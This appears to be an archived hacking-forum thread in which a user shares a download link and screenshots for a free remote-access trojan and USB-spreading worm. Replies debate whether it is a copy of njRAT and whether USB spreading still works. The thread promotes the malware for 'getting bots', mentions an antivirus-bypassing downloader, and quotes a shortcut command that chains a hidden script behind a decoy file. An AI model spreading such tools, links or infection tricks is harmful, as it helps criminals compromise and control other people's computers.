+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Remote Administration Tools (https://hackforums.net/forumdisplay.php?fid=114)
+---- Thread: Vengeance Worm || Best Free RAT/Worm || USB Spread || Tiny file Seize (/showthread.php?tid=5427019)
Vengeance Worm || Best Free RAT/Worm || USB Spread || Tiny file Seize - Autist - Oct 7, 2016
I was browsing on an Arabic forum (for those wondering yes i do speak Arabic)
As i was browsing the Arabic forum I came across a Newly Developed RAT called R-W0rm Controler.
Here are some screen shots of the RAT
Panel No Connection
Spoiler (Click to View)
![[Image: 57115cbaf39bae040c58bb914ba7eca6.png]](https://i.gyazo.com/57115cbaf39bae040c58bb914ba7eca6.png)
The Builder
Spoiler (Click to View)
![[Image: 208f8291a7c319f763ce2c2a2bbc2149.png]](https://i.gyazo.com/208f8291a7c319f763ce2c2a2bbc2149.png)
Download Link: http://up.dev-point.com/download287595.html
Malware Analysis: https://malwr.com/analysis/ZDE1MWVmMTJiNzg2NDg5MmJmNTk1NWM1MzAzMDIzNTQ/
Yes files are secure I have tested them, tested every way i could.
Creators of the RAT: https://www.dev-point.com/vb/threads/649284/ (if you cant read the arabic translate it)
Please don't be a lecher, thanks and enjoy!
* - Alison Wonderland - Oct 7, 2016
NJRat looks like it got a language port. woo
* - Autist - Oct 7, 2016
(Oct 7, 2016 07:09 PM)Alison Wonderland Wrote: NJRat looks like it got a language port. woo
XD nah its written from scratch way better.
I made a Down loader that bypasses proactive defenses, idk if i should sell it or release it free as it has potential. let me know what you guys think!
* - Alison Wonderland - Oct 7, 2016
(Oct 7, 2016 07:14 PM)Bart Allen Wrote: XD nah its written from scratch way better.
I made a Down loader that bypasses proactive defenses, idk if i should sell it or release it free as it has potential. let me know what you guys think!
XD nah its NJrat.
please leave
* - Autist - Oct 7, 2016
(Oct 7, 2016 07:17 PM)Alison Wonderland Wrote: XD nah its NJrat.
please leave
XD okay, thank you for your comment XD
* - yotoprules - Oct 8, 2016
Looks like njw0rm or similar.
* - imghostin - Oct 8, 2016
I do speak Arabic. This doesnt seem really legit, It looks like njRAT
* - Autist - Oct 8, 2016
(Oct 8, 2016 03:04 AM)imghostin Wrote: I do speak Arabic. This doesnt seem really legit, It looks like njRAT
It's might but it's actually pretty good for getting bots on and executing your im4 or ll so your file dosent get reported
* - bzrΚ - Oct 8, 2016
Vengeance vs njRAT
Spoiler (Click to View)
![[Image: jtg9MeD.png]](https://i.imgur.com/jtg9MeD.png)
I get what people are saying, but they are for sure different.
OP I will look at this soon. Thanks for the share.
* - VirtualMon3y - Oct 8, 2016
Hey Op I have seen this on dev-point myself and tested it a little. I would have shared it myself back in the past so good on you....
Tell me, how much use is a usb worm these days though? Are they very effective at all as I wouldn't expect so?
* - Tee Plow - Oct 8, 2016
i know the coder of this worm and he is HQ coder
* - Autist - Oct 8, 2016
(Oct 8, 2016 11:45 AM)UKninja Wrote: Hey Op I have seen this on dev-point myself and tested it a little. I would have shared it myself back in the past so good on you....
Tell me, how much use is a usb worm these days though? Are they very effective at all as I wouldn't expect so?
You would be surprised, USB spreading is still effective as many many people still use USB
* - Mitlar - Oct 8, 2016
(Oct 8, 2016 11:59 AM)Bart Allen Wrote: You would be surprised, USB spreading is still effective as many many people still use USB
No Shit Sherlock.
* - nazist - Dec 23, 2016
it based on njworm same source code moded
just reflect it and you well see ...
* - JoshuTee - Dec 23, 2016
This looks exactly like njW0rm.
Shortcut USB spreading isn't going to work in many cases because the av gets suspicious when it finds lnk files in the style of "CMD /c start doc.txt&start ufdruhfr.Wsf"